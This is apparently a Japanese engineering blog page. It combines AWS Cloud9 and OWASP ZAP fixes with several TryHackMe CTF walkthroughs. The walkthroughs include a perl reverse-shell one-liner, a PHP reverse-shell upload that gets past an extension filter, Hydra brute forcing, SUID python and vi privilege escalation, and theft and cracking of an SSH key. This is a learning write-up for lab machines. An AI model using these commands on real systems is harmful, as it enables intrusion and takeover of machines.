こさろぐ

岡山のエンジニア雑記

Cloud9環境の作成に失敗し、「Cloud9 could not connect to the EC2 instance.~」が表示された場合の解決策

VPCを作成し、パブリックサブネットにCloud9を作成しようとすると、「Cloud9 could not connect to the EC2 instance. Please check your VPC configuration and network settings to troubleshoot the issue.」というエラーが発生し、失敗することがあります。

この時は、通常1~2分でCloud9環境が作成されるはずが待てど暮らせど作成が完了しません。 10~20分ほど経つと、下記のエラーメッセージが表示されます。

解決策は次のとおりです。
Cloud9を作成しようとしているパブリックサブネットの設定で「パブリックIPv4アドレスの自動割り当てを有効化」にチェックを入れてパブリックIPアドレスの自動割り当てを有効化してください。

AWS公式ドキュメントにも下記の通り記載がありました。

インスタンスが起動先のパブリックサブネットによってパブリック IP アドレスに割り当てられていることを確認します。これを行うには、独自の IP アドレスを指定するか、パブリック IP アドレスの自動割り当てを有効にします。

TryHackMe h4cked writeup

h4ckedのwriteupです。

tryhackme.com

Oh no! We've been hacked!

It seems like our machine got hacked by an anonymous threat actor. However, we are lucky to have a .pcap file from the attack. Can you determine what happened? Download the .pcap file and use Wireshark to view it.

Wiresharkでファイルを開きます。

The attacker is trying to log into a specific service. What service is this?

21番ポートに通信しているので、FTPということが分かります。
21は一般的にはFTPですね。

ブルートフォースで有名なツールと言えばHydraですね。
Hydraを知らなくても、「Van Hauser」でググると分かると思います。

The attacker is trying to log on with a specific username. What is the username?

Wiresharkを丁寧に見てみましょう。Userが見つかります。

What is the user's password?

ブルートフォースをかけているリクエストとレスポンスの山になっていますが、
ログイン成功のログが出ています。
ポートを見てみると、57078とあります。

リクエスト側のログで、Source Portが57078のものを探します。
これが成功したリクエストなので、パスワードが分かりますね!

What is the current FTP working directory after the attacker logged in?

PWDのリクエストに対して、/var/www/htmlのレスポンスが返ってきています。

The attacker uploaded a backdoor. What is the backdoor's filename?

shell.phpを保存しているログがあります。

The backdoor can be downloaded from a specific URL, as it is located inside the uploaded file. What is the full URL?

FTP-DATAの通信を見ると、URLが見つかりました。

Which command did the attacker manually execute after getting a reverse shell?

リバースシェル獲得後は、80ポート→5XXXXポートへリクエストが飛ぶようになっています。
その際に最初に実行しているコマンドはwhoamiですね。

What is the computer's hostname?

レスポンスに設定されています。

Which command did the attacker execute to spawn a new TTY shell?

pythonコマンドで設定していることが分かります。

Which command was executed to gain a root shell?

sudo suを実行していることが分かります。

The attacker downloaded something from GitHub. What is the name of the GitHub project?

git cloneで設定しているプロジェクトが分かります。

The project can be used to install a stealthy backdoor on the system. It can be very hard to detect. What is this type of backdoor called?

ステルスなバックドアはrootxxxですね。

Hack your way back into the machine

Run Hydra (or any similar tool) on the FTP service. The attacker might not have chosen a complex password. You might get lucky if you use a common word list.

Hydraで調べます。ユーザーは先ほどのユーザーを使用します。

Change the necessary values inside the web shell and upload it to the webserver

FTPでshell.phpをダウンロードし、IP部分を自分のIPに変更し、再びアップロードします。

Create a listener on the designated port on your attacker machine. Execute the web shell by visiting the .php file on the targeted web server.

ローカルで80番ポートで待ち構えます。
その後、WebブラウザでターゲットIP/shell.phpにアクセスすると、シェルを獲得できます。

Become root!

jennyにユーザーをスイッチして、sudo suを入力するとrootに昇格できます。
これでフラグをゲットできます。

TryHackMe Year of the Rabbit writeup

Year of the Rabbitのwriteupです。

tryhackme.com

What is the user flag?

nmapで調べてみるとFTP,SSH,HTTPが開いていることが分かりました。

gobusterで調べてみると、assetsというディレクトリがあるようです。

とりあえずfirefoxでアクセスしてみます。
apacheのデフォルトのページですね。

先ほど検出したassetsディレクトリにアクセスしてみます。
mp4とcssが見つかりました。

cssを開いてみます。
なんだか超怪しいコメントがあります。

このphpファイルにアクセスしてみます。
javascriptのアラートが表示され、Youtubeにリダイレクトされてしまいました。

そのHTTPリクエストの内容を見てみると、hidden_directoryの記述が。

hidden_directoryにアクセスしてみます。
画像が見つかりました!なんだか少しずつ先に進んでいますね。

特にヒントは無さそうな画像ですね。

ちょっとよく分からないので、画像を解析してみます。
exiftoolコマンドで調べると、warningが出ています。

stringコマンドで調べてみると

なんと、FTPのユーザー名が。
しかもこの中にパスワードがあると。
優しいんだか意地悪なんだか。。

「One of these is the password:」以下の文字列をリストにしてテキストファイルに保存します。
そして、Hydraを使ってパスワードを破ってみます。あっという間に破ることができました。

FTPでログインすると怪しいテキストファイルが見つかったため、ダウンロードします。

開いてみると、なんじゃこりゃ。

色々とググってみると、Brainfuckというプログラミング言語のようです。
いくつかWEB上でgenerateできるサイトがあるので、通して見ると、ユーザ名とパスワードが特定できました。

SSHでログインしてみると・・・ログインできました!!

よく分かりませんが、s3cr3tがどうのこうのと書かれています。(secret?)
カレントディレクトリにはめぼしいファイルは無いようです。

s3cr3tを探してみます。

すると、見つかりました。

別ユーザーのパスワードが書かれちゃってます。

親切な案内に従ってユーザーを切り替えてみると、、、切り替えられました!

最初のフラグゲットです!

What is the root flag?

sudo -lをしてみると、viが使えそう

また、sudo -Vをすると、sudoのバージョンが1.8.10p3であることが分かります。

exploit-dbで調べると、sudoの脆弱性で下記の攻撃が使えることが分かりました。

sudo 1.8.27 - Security Bypass - Linux local Exploit

※簡単に書いていますが、sudo自体の脆弱性に気づくのに時間がかかりました。。。

で、viを使って試してみます。

gfobinsを参考にviで下記を打ちます。

:set shell=/bin/sh
:shell

そうすると、rootに権限昇格できました。
あとはファイルを読めば完了です!!

TryHackMe RootMe writeup

RootMeのwriteupです。

tryhackme.com

Task 1 Deploy the machine

Deploy the machine

マシンを立ち上げるだけです。

Task 2 Reconnaissance

Scan the machine, how many ports are open?

nmapで調査します。次の問題に答えるために、-sのオプションをつけてサービスも検索します。

What version of Apache is running?

一つ前の調査で確認できます。

What service is running on port 22?

これも2つ前の調査で確認できますね。

Find directories on the web server using the GoBuster tool.

gobusterを使えとのことなので、gobusterで調べてみます。

What is the hidden directory?

BurpSuiteでディレクトリ構造を見てみると、cssとjsはありそうですね。

上記で出てきたあるディレクトリにアクセスするとアップロード用のページが表示されました。これが隠しページのようですね。

Task 3 Getting a shell

user.txt

リバースシェルスクリプトが入ったPHPをアップロードしてみます。

アップロードできなかったようです。

ファイル名をphp5に変えてアップロードしてみます。

アップロード成功したようです!
拡張子がphpだけチェックされていて、甘いチェック機構だったようですね。。

/uploads/ディレクトリを見てみると先ほどアップロードしたphpがありました。

ここで、ローカルでncコマンドで待ち構えてブラウザからphpを実行してみると、
リバースシェルが獲得できました!

user.txtについて聞かれているので、 find / -name "user.txt" を実行すると見つかりました。

これを見てみると、フラグをGETできました。

Task 4 Privilege escalation

Search for files with SUID permission, which file is weird?

下記コマンドでサーチします。
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
pythonが使えそうです。

Find a form to escalate your privileges.

次に、特権昇格できる方法を下記のサイトで調べます。

GTFOBins

python > SUIDで調べてみると、下記のコマンドが使えそうです。
/usr/bin/python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

root.txt

打ってみると・・・rootに昇格できました。

後はroot.txtを調べてフラグGETです!

TryHackMe Pickle Rick writeup

Pickle Rickのwriteupです。

tryhackme.com

What is the first ingredient that Rick needs?

まずWebサイトを開いてみます。
指示されているWeb ページは何の変哲もないページですが、ソースにusernameの記載が見つかりました。

次に、robots.txtに怪しい文字列の記載があることが分かりました。

対象のIPに対してgobusterでファイルのスキャンをかけてみます。

gobuster dir -u http://<IP> -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt  -x html,php,txt

login.phpなどが見つかりました。

login.phpにアクセスし、先ほど見つかったusernameとrobots.txtに書かれていた文字列を入れてみます。

通ったようです。

コマンドが打てる画面のようです。
ここでlsを叩くと、一番上に怪しいファイルが表示されます。

で、cat コマンドを打ってみると・・・受けつけられません。
head、tail、viewなどのコマンドも通りませんでした。
ファイルの表示を防ぐための対策のようですね。
そこで、lessを打ってみました。出てきました!これがfirst ingredientですね。

What is the second ingredient in Rick’s potion?

シェルコマンドが打てることが分かったので、リバースシェルを獲得できるか試してみます。
まずローカルで待ち構える。

次に、ターゲットマシンからリバースシェルを。 ここでは、チートシートを参考に下記のコマンドを実行しました。

perl -e 'use Socket;$i="<ローカルIP>";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

リバースシェルを獲得できました!

その後、ディレクトリを探し回ってみると、/home/rickに怪しいファイルがあります。
これで2番目の解答をGetできます。

What is the last and final ingredient?

sudo -lで使えそうなコマンドを探します。

なんとまさかの全部OKなようです。

ということで、rootの下をsudo で見てみると3番目と思われるファイルが見つかり、 あっけなくゲットできました。

sudoがフルオープンというのもなかなか強烈ですね。。。

TryHackMe Basic Pentesting writeup

Basic Pentestingのwriteupです。

tryhackme.com

Deploy the machine and connect to our network

Start Machineでターゲットを立ち上げて、VPNで接続(またはAttack Boxを立ち上げ)すれば終わりです。

Find the services exposed by the machine

nmap -sV ターゲットのIPアドレス でサービスを調べる。

What is the name of the hidden directory on the web server(enter name without /)?

gobusterでWebのディレクトリを調べる。 すると、developmentディレクトリが検出された。

What is the username? / What is the password?

developmentにアクセスしてみると、dev.txtとj.txtがあることが分かる。
開発用の一時ファイルがpublicに見える場所に置かれているアンチパターンですね。

j.txtを開いてみると

dev.txtを開いてみると

SMBが設定されているようなので、enum4linuxで情報を取ってみます。

enum4linux -a IPアドレス

ただ、なぜか下記のようなエラーが表示され、上手く動きません。

Cannot connect to server. Error was NT_STATUS_NOT_FOUND

ちょっと理由が分かりませんが、openVPNでの接続をやめてAttackBoxで上記コマンドを叩いてみると上手く動きました。

ユーザがkayとjanという点が分かりました。

janのユーザーIDとパスワードをブルートフォースで調べてみます。hydraでアタックをかけます。

janさんのパスワードを特定できました。

What service do you use to access the server(answer in abbreviation in all caps)?

これは簡単ですね。SSHです。

What is the name of the other user you found(all lower case)?

その後、janでSSHでログインし、調べてみるとkayのディレクトリがありますね。pass.bakとか怪しいファイルがあります。

What is the final password you obtain?

脆弱なポイントを調べるため、
linpeas.shを置いているローカルディレクトリでHTTPサーバーを立ち上げて

ターゲットマシンからlinpeas.shを取得します。

そしてlinpeas.shを実行してみる。 やっぱりkayディレクトリの下が怪しい。janから見えちゃっているし。id_rsaが取得できそうです。

id_rsaをローカルに取ってくる。

ssh2johnとjohnでkayのid_rsaのパスワードを特定できました。

後はそれを使ってログインしてみます。

SSHでログインし、pass.bakが見れるように。

中身をコピーして、rootに権限昇格・・・できました!

OWASP ZAP で日本語のフォントを設定したはずなのに文字化けする事象の解消

OWASP ZAPをインストールすると、そのままではレスポンスなどの情報の日本語が文字化けします。

↓こんな感じに。

なお、日本語のフォントを設定してZAPを再起動しても上手くいきませんでした。。

なぜだろうと思ったら、設定箇所が間違っていました。
「General Font」の下にスクロールで隠れて気づいていませんでしたが、「Work Panels Font」のフォント名を変える必要がありました。

  • Work Panels Font のフォント名を「メイリオ」などの日本語フォント名で設定する。
  • ZAPを再起動する。

以上で日本語の情報が文字化けせずに表示されるようになります。